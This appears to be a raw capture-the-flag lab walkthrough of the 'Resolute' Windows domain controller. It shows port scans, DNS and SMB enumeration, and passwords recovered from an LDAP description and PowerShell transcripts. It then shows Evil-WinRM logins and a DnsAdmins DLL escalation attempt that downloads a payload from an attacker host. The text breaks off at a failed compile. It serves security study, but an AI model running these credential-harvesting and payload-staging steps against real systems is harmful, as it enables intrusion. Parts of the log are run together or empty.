Open 10.129.96.155:53Open 10.129.96.155:88Open 10.129.96.155:135Open 10.129.96.155:139Open 10.129.96.155:389Open 10.129.96.155:445Open 10.129.96.155:464Open 10.129.96.155:593Open 10.129.96.155:5985Open 10.129.96.155:9389Open 10.129.96.155:3269Open 10.129.96.155:3268Open 10.129.96.155:49664Open 10.129.96.155:49666Open 10.129.96.155:49665Open 10.129.96.155:49668Open 10.129.96.155:49671Open 10.129.96.155:49677Open 10.129.96.155:49676Open 10.129.96.155:47001[~] Starting Script(s)[>] Running script "nmap -vvv -p {{port}} {{ip}} -vvv -sV -sC -Pn" on ip 10.129.96.155PORT STATE SERVICE REASON VERSION53/tcp open domain syn-ack Simple DNS Plus88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2024-11-2715:31:16Z)135/tcp open msrpc syn-ack Microsoft Windows RPC139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)445/tcp open microsoft-ds syn-ack Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK)464/tcp open kpasswd5? syn-ack593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.03268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)3269/tcp open tcpwrapped syn-ack5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-server-header: Microsoft-HTTPAPI/2.0|_http-title: Not Found9389/tcp open mc-nmf syn-ack .NET Message Framing47001/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-server-header: Microsoft-HTTPAPI/2.0|_http-title: Not Found49664/tcp open msrpc syn-ack Microsoft Windows RPC49665/tcp open msrpc syn-ack Microsoft Windows RPC49666/tcp open msrpc syn-ack Microsoft Windows RPC49668/tcp open msrpc syn-ack Microsoft Windows RPC49671/tcp open msrpc syn-ack Microsoft Windows RPC49676/tcp open msrpc syn-ack Microsoft Windows RPC49677/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0Service Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windowsHost script results:| smb2-security-mode: | 3:1:1: |_ Message signing enabled and required| p2p-conficker: | Checking for Conficker.C or higher...| Check 1 (port 29273/tcp): CLEAN (Couldn't connect)| Check 2 (port 45116/tcp): CLEAN (Couldn't connect)| Check 3 (port 15172/udp): CLEAN (Failed to receive data)| Check 4 (port 24914/udp): CLEAN (Timeout)|_ 0/4 checks are positive: Host is CLEAN or ports are blocked| smb-security-mode: | account_used: guest| authentication_level: user| challenge_response: supported|_ message_signing: required| smb2-time: | date: 2024-11-27T15:32:08|_ start_date: 2024-11-27T15:29:42|_clock-skew: mean: 2h46m59s, deviation: 4h37m10s, median: 6m58s| smb-os-discovery: | OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)| Computer name: Resolute| NetBIOS computer name: RESOLUTE\x00| Domain name: megabank.local| Forest name: megabank.local| FQDN: Resolute.megabank.local|_ System time: 2024-11-27T07:32:10-08:00
DNS
└─$ dig ANY megabank.local @10.129.96.155 +timeout=99 +tcp; <<>> DiG 9.19.21-1-Debian <<>> ANY megabank.local @10.129.96.155 +timeout=99 +tcp;; global options: +cmd;; Got answer:;; WARNING: .local is reserved for Multicast DNS;; You are currently testing what happens when an mDNS query is leaked to DNS;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 3036;; flags: qr aa rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 2;; OPT PSEUDOSECTION:; EDNS: version: 0, flags:; udp: 4000;; QUESTION SECTION:;megabank.local. IN ANY;; ANSWER SECTION:megabank.local. 600 IN A 10.10.10.169megabank.local. 3600 IN NS resolute.megabank.local.megabank.local. 3600 IN SOA resolute.megabank.local. hostmaster.megabank.local. 154 900 600 86400 3600megabank.local. 600 IN AAAA dead:beef::b803:885a:b665:b183;; ADDITIONAL SECTION:resolute.megabank.local. 3600 IN A 10.129.96.155;; Query time: 255 msec;; SERVER: 10.129.96.155#53(10.129.96.155) (TCP);; WHEN: Wed Nov 27 10:26:39 EST 2024;; MSG SIZE rcvd: 173
Enum4Linux
SMB
There seems to be marko user with default password in LDAP description.
Creds: melanie:Welcome123!
WinRM
User.txt
Privilege Escalation (ryan)
Hmm... nothing useable...
Also nothing is /Program Files*, but if we got to root (/) and list all files/directories we notice unusual folder PSTranscripts which winpeas didn't find..
Members of the DnsAdmins group have access to network DNS information. The default permissions are Allow: Read, Write, Create All Child objects, Delete Child objects, Special Permissions. This group exists only if the DNS server role is or was once installed on a domain controller in the domain.
*Evil-WinRM* PS C:\> ls -force
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d--hs- 11/27/2024 7:54 AM $RECYCLE.BIN
d--hsl 9/25/2019 10:17 AM Documents and Settings
d----- 9/25/2019 6:19 AM PerfLogs
d-r--- 9/25/2019 12:39 PM Program Files
d----- 11/20/2016 6:36 PM Program Files (x86)
d--h-- 9/25/2019 10:48 AM ProgramData
d--h-- 12/3/2019 6:32 AM PSTranscripts
d--hs- 9/25/2019 10:17 AM Recovery
d--hs- 9/25/2019 6:25 AM System Volume Information
d-r--- 12/4/2019 2:46 AM Users
d----- 12/4/2019 5:15 AM Windows
-arhs- 11/20/2016 5:59 PM 389408 bootmgr
-a-hs- 7/16/2016 6:10 AM 1 BOOTNXT
-a-hs- 11/27/2024 7:29 AM 402653184 pagefile.sys
*Evil-WinRM* PS C:\PSTranscripts> ls /PSTranscripts -force -rec | % { $_.FullName }
C:\PSTranscripts\20191203
C:\PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt
*Evil-WinRM* PS C:\PSTranscripts> ls /PSTranscripts -force -rec -fil *.txt | cat
**********************
Windows PowerShell transcript start
Start time: 20191203063201
Username: MEGABANK\ryan
RunAs User: MEGABANK\ryan
Machine: RESOLUTE (Microsoft Windows NT 10.0.14393.0)
Host Application: C:\Windows\system32\wsmprovhost.exe -Embedding
Process ID: 2800
PSVersion: 5.1.14393.2273
PSEdition: Desktop
PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.14393.2273
BuildVersion: 10.0.14393.2273
CLRVersion: 4.0.30319.42000
WSManStackVersion: 3.0
PSRemotingProtocolVersion: 2.3
SerializationVersion: 1.1.0.1
**********************
Command start time: 20191203063455
**********************
PS>TerminatingError(): "System error."
>> CommandInvocation(Invoke-Expression): "Invoke-Expression"
>> ParameterBinding(Invoke-Expression): name="Command"; value="-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')
if (!$?) { if($LASTEXITCODE) { exit $LASTEXITCODE } else { exit 1 } }"
>> CommandInvocation(Out-String): "Out-String"
>> ParameterBinding(Out-String): name="Stream"; value="True"
**********************
Command start time: 20191203063455
**********************
PS>ParameterBinding(Out-String): name="InputObject"; value="PS megabank\ryan@RESOLUTE Documents> "
PS megabank\ryan@RESOLUTE Documents>
**********************
Command start time: 20191203063515
**********************
PS>CommandInvocation(Invoke-Expression): "Invoke-Expression"
>> ParameterBinding(Invoke-Expression): name="Command"; value="cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
if (!$?) { if($LASTEXITCODE) { exit $LASTEXITCODE } else { exit 1 } }"
>> CommandInvocation(Out-String): "Out-String"
>> ParameterBinding(Out-String): name="Stream"; value="True"
**********************
Windows PowerShell transcript start
Start time: 20191203063515
Username: MEGABANK\ryan
RunAs User: MEGABANK\ryan
Machine: RESOLUTE (Microsoft Windows NT 10.0.14393.0)
Host Application: C:\Windows\system32\wsmprovhost.exe -Embedding
Process ID: 2800
PSVersion: 5.1.14393.2273
PSEdition: Desktop
PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.14393.2273
BuildVersion: 10.0.14393.2273
CLRVersion: 4.0.30319.42000
WSManStackVersion: 3.0
PSRemotingProtocolVersion: 2.3
SerializationVersion: 1.1.0.1
**********************
**********************
Command start time: 20191203063515
**********************
PS>CommandInvocation(Out-String): "Out-String"
>> ParameterBinding(Out-String): name="InputObject"; value="The syntax of this command is:"
cmd : The syntax of this command is:
At line:1 char:1
+ cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (The syntax of this command is::String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
cmd : The syntax of this command is:
At line:1 char:1
+ cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (The syntax of this command is::String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
**********************
Windows PowerShell transcript start
Start time: 20191203063515
Username: MEGABANK\ryan
RunAs User: MEGABANK\ryan
Machine: RESOLUTE (Microsoft Windows NT 10.0.14393.0)
Host Application: C:\Windows\system32\wsmprovhost.exe -Embedding
Process ID: 2800
PSVersion: 5.1.14393.2273
PSEdition: Desktop
PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.14393.2273
BuildVersion: 10.0.14393.2273
CLRVersion: 4.0.30319.42000
WSManStackVersion: 3.0
PSRemotingProtocolVersion: 2.3
SerializationVersion: 1.1.0.1
**********************
└─$ evil-winrm -i 10.129.96.155 -u 'ryan' -p 'Serv3r4Admin4cc123!'
*Evil-WinRM* PS C:\Users\ryan> ls -path $ENV:USERPROFILE -fil *.txt -rec -file | % { $_; echo " "; cat $_.FullName; }
Directory: C:\Users\ryan\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 12/3/2019 7:34 AM 155 note.txt
Email to team:
- due to change freeze, any system changes (apart from those to the administrator account) will be automatically reverted within 1 minute
*Evil-WinRM* PS C:\Users\ryan> whoami /all
User Name SID
============= ==============================================
megabank\ryan S-1-5-21-1392959593-3013219662-3596683436-1105
Group Name Type SID Attributes
========================================== ================ ============================================== ===============================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
MEGABANK\Contractors Group S-1-5-21-1392959593-3013219662-3596683436-1103 Mandatory group, Enabled by default, Enabled group
MEGABANK\DnsAdmins Alias S-1-5-21-1392959593-3013219662-3596683436-1101 Mandatory group, Enabled by default, Enabled group, Local Group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
└─$ cicada-mastertul -t 10.129.96.155 -u 'ryan' -p 'Serv3r4Admin4cc123!' -d megabank.local
----------------------------------------------------
Target IP: 10.129.96.155
Domain: megabank.local
Username: ryan
Password: Serv3r4Admin4cc123!
Full Mode Enabled
----------------------------------------------------
--------------------HAPPY HAUNTING!!----------------
---------------------------------------------------------------------------------------
[!x!] Scanning 10.129.96.155
[!] Enumerating SMB...
[+] SMB share drive names saved to /home/woyag/Desktop/Rooms/Resolute/mastertul/10.129.96.155/smb_results/smb/share_names.txt
[+] SMB share drives list saved to /home/woyag/Desktop/Rooms/Resolute/mastertul/10.129.96.155/smb_results/share_drives.txt
[*] Downloading SMB share files to /home/woyag/Desktop/Rooms/Resolute/mastertul/10.129.96.155/smb_results/smb
[!] Connecting to WinRM...
[+] Connected to WinRM
[!] Enumerating Lookupsids using impacket...
[+] Lookupsids saved to /home/woyag/Desktop/Rooms/Resolute/mastertul/10.129.96.155/lookupsid_results/lookupsid_file.txt
[+] Users list saved to /home/woyag/Desktop/Rooms/Resolute/mastertul/10.129.96.155/lookupsid_results/users.txt
[!] Enumerating NPUsers using impacket...
[-] No NPUsers found
[!] Enumerating UserSPNs using impacket...
[-] No UserSPNs found
[!] Collecting Bloodhound Files...
[+] Bloodhound saved to /home/woyag/Desktop/Rooms/Resolute/mastertul/10.129.96.155/bloodhound_results
[!] Enumerating LDAP...
[+] LDAP saved to /home/woyag/Desktop/Rooms/Resolute/mastertul/10.129.96.155/ldap_results
[!x!] Cleaning up...
└─$ curl -LOs https://github.com/kazkansouh/DNSAdmin-DLL/archive/refs/heads/master.zip
---
*Evil-WinRM* PS C:\Users\ryan\Music> curl 10.10.14.99/master.zip -outfile master.zip
*Evil-WinRM* PS C:\Users\ryan\Music> Expand-Archive master.zip
*Evil-WinRM* PS C:\Users\ryan\Music> cd master\DNSAdmin-DLL-master\DNSAdmin-DLL
*Evil-WinRM* PS C:\Users\ryan\Music\master\DNSAdmin-DLL-master\DNSAdmin-DLL> (ls / -rec -file -fil 'cl.exe' -erroraction silent).FullName
C:\Windows\WinSxS\amd64_microsoft-windows-wid-xtp_31bf3856ad364e35_10.0.14393.0_none_000422d4a08d9f88\cl.exe
*Evil-WinRM* PS C:\Users\ryan\Music\master\DNSAdmin-DLL-master\DNSAdmin-DLL> C:\Windows\WinSxS\amd64_microsoft-windows-wid-xtp_31bf3856ad364e35_10.0.14393.0_none_000422d4a08d9f88\cl.exe /EHsc dllmain.cpp
Program 'cl.exe' failed to run: The specified executable is not a valid application for this OS platform.At line:1 char:1
+ C:\Windows\WinSxS\amd64_microsoft-windows-wid-xtp_31bf3856ad364e35_10 ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~.
At line:1 char:1
+ C:\Windows\WinSxS\amd64_microsoft-windows-wid-xtp_31bf3856ad364e35_10 ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ResourceUnavailable: (:) [], ApplicationFailedException
+ FullyQualifiedErrorId : NativeCommandFailed
